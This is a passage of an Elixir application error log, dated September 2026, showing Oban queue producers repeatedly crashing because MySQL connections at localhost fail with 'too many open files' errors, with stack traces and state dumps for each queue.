State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:40:27.239824Z], limit: 50, uuid: "967c5277-30c7-4753-92d1-7064583a6f8b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:27.239829Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66389>, refresh_timer: #Reference<0.2525715032.1099431938.66373>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:39.581000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:40.450000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:41.314000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:43.648000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:46.754000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:50.306000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1064ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:40:39.238831Z], limit: 5, uuid: "acc96c67-f22e-4399-a06d-f6d2a0bd86e2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:39.238837Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71730>, refresh_timer: #Reference<0.2525715032.1077673987.48316>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:40:39.239137Z], limit: 5, uuid: "bb066674-7056-49db-89ed-aa03d29f4819", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:39.239142Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71728>, refresh_timer: #Reference<0.2525715032.1068498948.71714>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:40:39.238996Z], limit: 20, uuid: "75fadf3f-7715-4587-932d-5d45fef35b5c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:39.239001Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71727>, refresh_timer: #Reference<0.2525715032.1068498948.71706>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:40:39.242155Z], limit: 50, uuid: "2f801125-b41a-4b4a-a44b-ac1e322953bd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:39.242161Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66434>, refresh_timer: #Reference<0.2525715032.1099431938.66423>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:40:39.237814Z], limit: 3, uuid: "f654946f-e3fa-46ef-b2c3-aa6b05180025", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:39.237824Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.71729>, refresh_timer: #Reference<0.2525715032.1121189889.212566>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:40:39.242045Z], limit: 10, uuid: "31f4edac-4946-4ea0-a7a6-5c4eb2a059f5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:39.242051Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66435>, refresh_timer: #Reference<0.2525715032.1077673987.48345>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:40:53.131000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:56.118000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:57.883000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:40:59.678000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:40:51.239618Z], limit: 3, uuid: "8bca71a4-2bff-4780-b46b-9b522b9e7a4b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:51.239623Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.72081>, refresh_timer: #Reference<0.2525715032.1121189889.212834>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:40:51.238767Z], limit: 5, uuid: "acbe3b30-b511-4c30-8c75-7b8c6c04d381", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:40:51.238774Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.72083>, refresh_timer: #Reference<0.2525715032.1099431938.66464>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
